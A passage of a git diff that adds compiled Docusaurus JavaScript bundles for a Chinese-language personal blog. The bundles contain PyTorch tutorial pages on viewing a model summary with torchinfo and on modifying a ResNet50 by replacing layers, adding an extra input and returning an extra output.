--\n\u2502 \u2514\u2500BasicBlock: 2-3 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-13 [1, 128, 28, 28] 73,728\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-14 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500ReLU: 3-15 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-16 [1, 128, 28, 28] 147,456\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-17 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500Sequential: 3-18 [1, 128, 28, 28] 8,448\n\u2502 \u2502 \u2514\u2500ReLU: 3-19 [1, 128, 28, 28] --\n\u2502 \u2514\u2500BasicBlock: 2-4 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-20 [1, 128, 28, 28] 147,456\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-21 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500ReLU: 3-22 [1, 128, 28, 28] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-23 [1, 128, 28, 28] 147,456\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-24 [1, 128, 28, 28] 256\n\u2502 \u2502 \u2514\u2500ReLU: 3-25 [1, 128, 28, 28] --\n\u251c\u2500Sequential: 1-7 [1, 256, 14, 14] --\n\u2502 \u2514\u2500BasicBlock: 2-5 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-26 [1, 256, 14, 14] 294,912\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-27 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500ReLU: 3-28 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-29 [1, 256, 14, 14] 589,824\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-30 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500Sequential: 3-31 [1, 256, 14, 14] 33,280\n\u2502 \u2502 \u2514\u2500ReLU: 3-32 [1, 256, 14, 14] --\n\u2502 \u2514\u2500BasicBlock: 2-6 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-33 [1, 256, 14, 14] 589,824\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-34 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500ReLU: 3-35 [1, 256, 14, 14] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-36 [1, 256, 14, 14] 589,824\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-37 [1, 256, 14, 14] 512\n\u2502 \u2502 \u2514\u2500ReLU: 3-38 [1, 256, 14, 14] --\n\u251c\u2500Sequential: 1-8 [1, 512, 7, 7] --\n\u2502 \u2514\u2500BasicBlock: 2-7 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-39 [1, 512, 7, 7] 1,179,648\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-40 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500ReLU: 3-41 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-42 [1, 512, 7, 7] 2,359,296\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-43 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500Sequential: 3-44 [1, 512, 7, 7] 132,096\n\u2502 \u2502 \u2514\u2500ReLU: 3-45 [1, 512, 7, 7] --\n\u2502 \u2514\u2500BasicBlock: 2-8 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-46 [1, 512, 7, 7] 2,359,296\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-47 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500ReLU: 3-48 [1, 512, 7, 7] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-49 [1, 512, 7, 7] 2,359,296\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-50 [1, 512, 7, 7] 1,024\n\u2502 \u2502 \u2514\u2500ReLU: 3-51 [1, 512, 7, 7] --\n\u251c\u2500AdaptiveAvgPool2d: 1-9 [1, 512, 1, 1] --\n\u251c\u2500Linear: 1-10 [1, 1000] 513,000\n=========================================================================================\nTotal params: 11,689,512\nTrainable params: 11,689,512\nNon-trainable params: 0\nTotal mult-adds (G): 1.81\n=========================================================================================\nInput size (MB): 0.60\nForward/backward pass size (MB): 39.75\nParams size (MB): 46.76\nEstimated Total Size (MB): 87.11\n=========================================================================================\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u770b\u5230torchinfo\u63d0\u4f9b\u4e86\u66f4\u52a0\u8be6\u7ec6\u7684\u4fe1\u606f\uff0c\u5305\u62ec\u6a21\u5757\u4fe1\u606f\uff08\u6bcf\u4e00\u5c42\u7684\u7c7b\u578b\u3001\u8f93\u51fashape\u548c\u53c2\u6570\u91cf\uff09\u3001\u6a21\u578b\u6574\u4f53\u7684\u53c2\u6570\u91cf\u3001\u6a21\u578b\u5927\u5c0f\u3001\u4e00\u6b21\u524d\u5411\u6216\u8005\u53cd\u5411\u4f20\u64ad\u9700\u8981\u7684\u5185\u5b58\u5927\u5c0f\u7b49"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u6ce8\u610f"}),"\uff1a"]}),"\n",(0,s.jsxs)(e.p,{children:["\u4f46\u4f60\u4f7f\u7528\u7684\u662fcolab\u6216\u8005jupyter notebook\u65f6\uff0c\u60f3\u8981\u5b9e\u73b0\u8be5\u65b9\u6cd5\uff0c",(0,s.jsx)(e.code,{children:"summary()"}),"\u4e00\u5b9a\u662f\u8be5\u5355\u5143\uff08\u5373notebook\u4e2d\u7684cell\uff09\u7684\u8fd4\u56de\u503c\uff0c\u5426\u5219\u6211\u4eec\u5c31\u9700\u8981\u4f7f\u7528",(0,s.jsx)(e.code,{children:"print(summary(...))"}),"\u6765\u53ef\u89c6\u5316\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,o.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(a,{...n})}):a(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>l});var r=t(96540);const s={},o=r.createContext(s);function i(n){const e=r.useContext(o);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),r.createElement(o.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/550ca4a2.c8e46e9a.js b/en/assets/js/550ca4a2.c8e46e9a.js new file mode 100644 index 0000000..5daf6f3 --- /dev/null +++ b/en/assets/js/550ca4a2.c8e46e9a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6392],{28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var t=r(96540);const s={},l=t.createContext(s);function i(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),t.createElement(l.Provider,{value:n},e.children)}},86401:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>h,frontMatter:()=>i,metadata:()=>t,toc:()=>c});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"},"next":{"title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"}}');var s=r(74848),l=r(28453);const i={},d="5.3 PyTorch\u4fee\u6539\u6a21\u578b.md",o={},c=[{value:"5.3.1 \u4fee\u6539\u6a21\u578b\u5c42",id:"531-\u4fee\u6539\u6a21\u578b\u5c42",level:2},{value:"5.3.2 \u6dfb\u52a0\u5916\u90e8\u8f93\u5165",id:"532-\u6dfb\u52a0\u5916\u90e8\u8f93\u5165",level:2},{value:"5.3.3 \u6dfb\u52a0\u989d\u5916\u8f93\u51fa",id:"533-\u6dfb\u52a0\u989d\u5916\u8f93\u51fa",level:2}];function a(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"53-pytorch\u4fee\u6539\u6a21\u578bmd",children:"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"53-pytorch\u4fee\u6539\u6a21\u578b",children:"5.3 PyTorch\u4fee\u6539\u6a21\u578b"}),"\n",(0,s.jsx)(n.p,{children:"\u9664\u4e86\u81ea\u5df1\u6784\u5efaPyTorch\u6a21\u578b\u5916\uff0c\u8fd8\u6709\u53e6\u4e00\u79cd\u5e94\u7528\u573a\u666f\uff1a\u6211\u4eec\u5df2\u7ecf\u6709\u4e00\u4e2a\u73b0\u6210\u7684\u6a21\u578b\uff0c\u4f46\u8be5\u6a21\u578b\u4e2d\u7684\u90e8\u5206\u7ed3\u6784\u4e0d\u7b26\u5408\u6211\u4eec\u7684\u8981\u6c42\uff0c\u4e3a\u4e86\u4f7f\u7528\u6a21\u578b\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u8fdb\u884c\u5fc5\u8981\u7684\u4fee\u6539\u3002\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\u548cPyTorch\u8d8a\u6765\u8d8a\u5e7f\u6cdb\u7684\u4f7f\u7528\uff0c\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u5f00\u6e90\u6a21\u578b\u53ef\u4ee5\u4f9b\u6211\u4eec\u4f7f\u7528\uff0c\u5f88\u591a\u65f6\u5019\u6211\u4eec\u4e5f\u4e0d\u5fc5\u4ece\u5934\u5f00\u59cb\u6784\u5efa\u6a21\u578b\u3002\u56e0\u6b64\uff0c\u638c\u63e1\u5982\u4f55\u4fee\u6539PyTorch\u6a21\u578b\u5c31\u663e\u5f97\u5c24\u4e3a\u91cd\u8981\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u8282\u6211\u4eec\u5c31\u6765\u63a2\u7d22\u8fd9\u4e00\u95ee\u9898\u3002\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5982\u4f55\u5728\u5df2\u6709\u6a21\u578b\u7684\u57fa\u7840\u4e0a\uff1a\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u4fee\u6539\u6a21\u578b\u82e5\u5e72\u5c42"}),"\n",(0,s.jsx)(n.li,{children:"\u6dfb\u52a0\u989d\u5916\u8f93\u5165"}),"\n",(0,s.jsx)(n.li,{children:"\u6dfb\u52a0\u989d\u5916\u8f93\u51fa"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"531-\u4fee\u6539\u6a21\u578b\u5c42",children:"5.3.1 \u4fee\u6539\u6a21\u578b\u5c42"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u8fd9\u91cc\u4ee5PyTorch\u5b98\u65b9\u89c6\u89c9\u5e93torchvision\u9884\u5b9a\u4e49\u597d\u7684\u6a21\u578bResNet50\u4e3a\u4f8b\uff0c\u63a2\u7d22\u5982\u4f55\u4fee\u6539\u6a21\u578b\u7684\u67d0\u4e00\u5c42\u6216\u8005\u67d0\u51e0\u5c42\u3002\u6211\u4eec\u5148\u770b\u770b\u6a21\u578b\u7684\u5b9a\u4e49\u662f\u600e\u6837\u7684\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u5bfc\u5165\u5fc5\u8981\u7684package\nimport torch\nimport torch.nn as nn\nfrom collections import OrderedDict\nimport torchvision.models as models\nnet = models.resnet50()\nprint(net)\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"ResNet(\n (conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)\n (layer1): Sequential(\n (0): Bottleneck(\n (conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)\n (bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (downsample): Sequential(\n (0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n )\n )\n..............\n (avgpool): AdaptiveAvgPool2d(output_size=(1, 1))\n (fc): Linear(in_features=2048, out_features=1000, bias=True)\n)\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u6a21\u578b\u7ed3\u6784\u662f\u4e3a\u4e86\u9002\u914dImageNet\u9884\u8bad\u7ec3\u7684\u6743\u91cd\uff0c\u56e0\u6b64\u6700\u540e\u5168\u8fde\u63a5\u5c42\uff08fc\uff09\u7684\u8f93\u51fa\u8282\u70b9\u6570\u662f1000\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5047\u8bbe\u6211\u4eec\u8981\u7528\u8fd9\u4e2aresnet\u6a21\u578b\u53bb\u505a\u4e00\u4e2a10\u5206\u7c7b\u7684\u95ee\u9898\uff0c\u5c31\u5e94\u8be5\u4fee\u6539\u6a21\u578b\u7684fc\u5c42\uff0c\u5c06\u5176\u8f93\u51fa\u8282\u70b9\u6570\u66ff\u6362\u4e3a10\u3002\u53e6\u5916\uff0c\u6211\u4eec\u89c9\u5f97\u4e00\u5c42\u5168\u8fde\u63a5\u5c42\u53ef\u80fd\u592a\u5c11\u4e86\uff0c\u60f3\u518d\u52a0\u4e00\u5c42\u3002\u53ef\u4ee5\u505a\u5982\u4e0b\u4fee\u6539\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"classifier = nn.Sequential(OrderedDict([('fc1', nn.Linear(2048, 128)),\n ('relu1', nn.ReLU()), \n ('dropout1',nn.Dropout(0.5)),\n ('fc2', nn.Linear(128, 10)),\n ('output', nn.Softmax(dim=1))\n ]))\n \nnet.fc = classifier\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u7684\u64cd\u4f5c\u76f8\u5f53\u4e8e\u5c06\u6a21\u578b\uff08net\uff09\u6700\u540e\u540d\u79f0\u4e3a\u201cfc\u201d\u7684\u5c42\u66ff\u6362\u6210\u4e86\u540d\u79f0\u4e3a\u201cclassifier\u201d\u7684\u7ed3\u6784\uff0c\u8be5\u7ed3\u6784\u662f\u6211\u4eec\u81ea\u5df1\u5b9a\u4e49\u7684\u3002\u8fd9\u91cc\u4f7f\u7528\u4e86\u7b2c\u4e00\u8282\u4ecb\u7ecd\u7684Sequential+OrderedDict\u7684\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f\u3002\u81f3\u6b64\uff0c\u6211\u4eec\u5c31\u5b8c\u6210\u4e86\u6a21\u578b\u7684\u4fee\u6539\uff0c\u73b0\u5728\u7684\u6a21\u578b\u5c31\u53ef\u4ee5\u53bb\u505a10\u5206\u7c7b\u4efb\u52a1\u4e86\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"532-\u6dfb\u52a0\u5916\u90e8\u8f93\u5165",children:"5.3.2 \u6dfb\u52a0\u5916\u90e8\u8f93\u5165"}),"\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\u5019\u5728\u6a21\u578b\u8bad\u7ec3\u4e2d\uff0c\u9664\u4e86\u5df2\u6709\u6a21\u578b\u7684\u8f93\u5165\u4e4b\u5916\uff0c\u8fd8\u9700\u8981\u8f93\u5165\u989d\u5916\u7684\u4fe1\u606f\u3002\u6bd4\u5982\u5728CNN\u7f51\u7edc\u4e2d\uff0c\u6211\u4eec\u9664\u4e86\u8f93\u5165\u56fe\u50cf\uff0c\u8fd8\u9700\u8981\u540c\u65f6\u8f93\u5165\u56fe\u50cf\u5bf9\u5e94\u7684\u5176\u4ed6\u4fe1\u606f\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u5728\u5df2\u6709\u7684CNN\u7f51\u7edc\u4e2d\u6dfb\u52a0\u989d\u5916\u7684\u8f93\u5165\u53d8\u91cf\u3002\u57fa\u672c\u601d\u8def\u662f\uff1a\u5c06\u539f\u6a21\u578b\u6dfb\u52a0\u8f93\u5165\u4f4d\u7f6e\u524d\u7684\u90e8\u5206\u4f5c\u4e3a\u4e00\u4e2a\u6574\u4f53\uff0c\u540c\u65f6\u5728forward\u4e2d\u5b9a\u4e49\u597d\u539f\u6a21\u578b\u4e0d\u53d8\u7684\u90e8\u5206\u3001\u6dfb\u52a0\u7684\u8f93\u5165\u548c\u540e\u7eed\u5c42\u4e4b\u95f4\u7684\u8fde\u63a5\u5173\u7cfb\uff0c\u4ece\u800c\u5b8c\u6210\u6a21\u578b\u7684\u4fee\u6539\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u4ee5torchvision\u7684resnet50\u6a21\u578b\u4e3a\u57fa\u7840\uff0c\u4efb\u52a1\u8fd8\u662f10\u5206\u7c7b\u4efb\u52a1\u3002\u4e0d\u540c\u70b9\u5728\u4e8e\uff0c\u6211\u4eec\u5e0c\u671b\u5229\u7528\u5df2\u6709\u7684\u6a21\u578b\u7ed3\u6784\uff0c\u5728\u5012\u6570\u7b2c\u4e8c\u5c42\u589e\u52a0\u4e00\u4e2a\u989d\u5916\u7684\u8f93\u5165\u53d8\u91cfadd_variable\u6765\u8f85\u52a9\u9884\u6d4b\u3002\u5177\u4f53\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Model(nn.Module):\n def __init__(self, net):\n super(Model, self).__init__()\n self.net = net\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(0.5)\n self.fc_add = nn.Linear(1001, 10, bias=True)\n self.output = nn.Softmax(dim=1)\n \n def forward(self, x, add_variable):\n x = self.net(x)\n x = torch.cat((self.dropout(self.relu(x)), add_variable.unsqueeze(1)),1)\n x = self.fc_add(x)\n x = self.output(x)\n return x\n"})}),"\n",(0,s.jsx)(n.p,{children:'\u8fd9\u91cc\u7684\u5b9e\u73b0\u8981\u70b9\u662f\u901a\u8fc7torch.cat\u5b9e\u73b0\u4e86tensor\u7684\u62fc\u63a5\u3002torchvision\u4e2d\u7684resnet50\u8f93\u51fa\u662f\u4e00\u4e2a1000\u7ef4\u7684tensor\uff0c\u6211\u4eec\u901a\u8fc7\u4fee\u6539forward\u51fd\u6570\uff08\u914d\u5957\u5b9a\u4e49\u4e00\u4e9b\u5c42\uff09\uff0c\u5148\u5c061000\u7ef4\u7684tensor\u901a\u8fc7\u6fc0\u6d3b\u51fd\u6570\u5c42\u548cdropout\u5c42\uff0c\u518d\u548c\u5916\u90e8\u8f93\u5165\u53d8\u91cf"add_variable"\u62fc\u63a5\uff0c\u6700\u540e\u901a\u8fc7\u5168\u8fde\u63a5\u5c42\u6620\u5c04\u5230\u6307\u5b9a\u7684\u8f93\u51fa\u7ef4\u5ea610\u3002'}),"\n",(0,s.jsx)(n.p,{children:'\u53e6\u5916\u8fd9\u91cc\u5bf9\u5916\u90e8\u8f93\u5165\u53d8\u91cf"add_variable"\u8fdb\u884cunsqueeze\u64cd\u4f5c\u662f\u4e3a\u4e86\u548cnet\u8f93\u51fa\u7684tensor\u4fdd\u6301\u7ef4\u5ea6\u4e00\u81f4\uff0c\u5e38\u7528\u4e8eadd_variable\u662f\u5355\u4e00\u6570\u503c (scalar) \u7684\u60c5\u51b5\uff0c\u6b64\u65f6add_variable\u7684\u7ef4\u5ea6\u662f (batch_size, )\uff0c\u9700\u8981\u5728\u7b2c\u4e8c\u7ef4\u8865\u5145\u7ef4\u65701\uff0c\u4ece\u800c\u53ef\u4ee5\u548ctensor\u8fdb\u884ctorch.cat\u64cd\u4f5c\u3002\u5bf9\u4e8eunsqueeze\u64cd\u4f5c\u53ef\u4ee5\u590d\u4e60\u4e0b2.1\u8282\u7684\u5185\u5bb9\u548c\u914d\u5957\u4ee3\u7801\u3002'}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5bf9\u6211\u4eec\u4fee\u6539\u597d\u7684\u6a21\u578b\u7ed3\u6784\u8fdb\u884c\u5b9e\u4f8b\u5316\uff0c\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e86\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"net = models.resnet50()\nmodel = Model(net).cuda()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u5916\u522b\u5fd8\u4e86\uff0c\u8bad\u7ec3\u4e2d\u5728\u8f93\u5165\u6570\u636e\u7684\u65f6\u5019\u8981\u7ed9\u4e24\u4e2ainputs\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"outputs = model(inputs, add_var)\n"})}),"\n",(0,s.jsx)(n.h2,{id:"533-\u6dfb\u52a0\u989d\u5916\u8f93\u51fa",children:"5.3.3 \u6dfb\u52a0\u989d\u5916\u8f93\u51fa"}),"\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\u5019\u5728\u6a21\u578b\u8bad\u7ec3\u4e2d\uff0c\u9664\u4e86\u6a21\u578b\u6700\u540e\u7684\u8f93\u51fa\u5916\uff0c\u6211\u4eec\u9700\u8981\u8f93\u51fa\u6a21\u578b\u67d0\u4e00\u4e2d\u95f4\u5c42\u7684\u7ed3\u679c\uff0c\u4ee5\u65bd\u52a0\u989d\u5916\u7684\u76d1\u7763\uff0c\u83b7\u5f97\u66f4\u597d\u7684\u4e2d\u95f4\u5c42\u7ed3\u679c\u3002\u57fa\u672c\u7684\u601d\u8def\u662f\u4fee\u6539\u6a21\u578b\u5b9a\u4e49\u4e2dforward\u51fd\u6570\u7684return\u53d8\u91cf\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u4f9d\u7136\u4ee5resnet50\u505a10\u5206\u7c7b\u4efb\u52a1\u4e3a\u4f8b\uff0c\u5728\u5df2\u7ecf\u5b9a\u4e49\u597d\u7684\u6a21\u578b\u7ed3\u6784\u4e0a\uff0c\u540c\u65f6\u8f93\u51fa1000\u7ef4\u7684\u5012\u6570\u7b2c\u4e8c\u5c42\u548c10\u7ef4\u7684\u6700\u540e\u4e00\u5c42\u7ed3\u679c\u3002\u5177\u4f53\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Model(nn.Module):\n def __init__(self, net):\n super(Model, self).__init__()\n self.net = net\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(0.5)\n self.fc1 = nn.Linear(1000, 10, bias=True)\n self.output = nn.Softmax(dim=1)\n \n def forward(self, x, add_variable):\n x1000 = self.net(x)\n x10 = self.dropout(self.relu(x1000))\n x10 = self.fc1(x10)\n x10 = self.output(x10)\n return x10, x1000\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e4b\u540e\u5bf9\u6211\u4eec\u4fee\u6539\u597d\u7684\u6a21\u578b\u7ed3\u6784\u8fdb\u884c\u5b9e\u4f8b\u5316\uff0c\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e86\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\nnet = models.resnet50()\nmodel = Model(net).cuda()\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u5916\u522b\u5fd8\u4e86\uff0c\u8bad\u7ec3\u4e2d\u5728\u8f93\u5165\u6570\u636e\u540e\u4f1a\u6709\u4e24\u4e2aoutputs\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"out10, out1000 = model(inputs, add_var)\n"})})]})}function h(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/5689d8e9.c69ecec9.js b/en/assets/js/5689d8e9.c69ecec9.js new file mode 100644 index 0000000..e453544 --- /dev/null +++ b/en/assets/js/5689d8e9.c69ecec9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7085],{20651:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>h,frontMatter:()=>o,metadata:()=>r,toc:()=>s});const 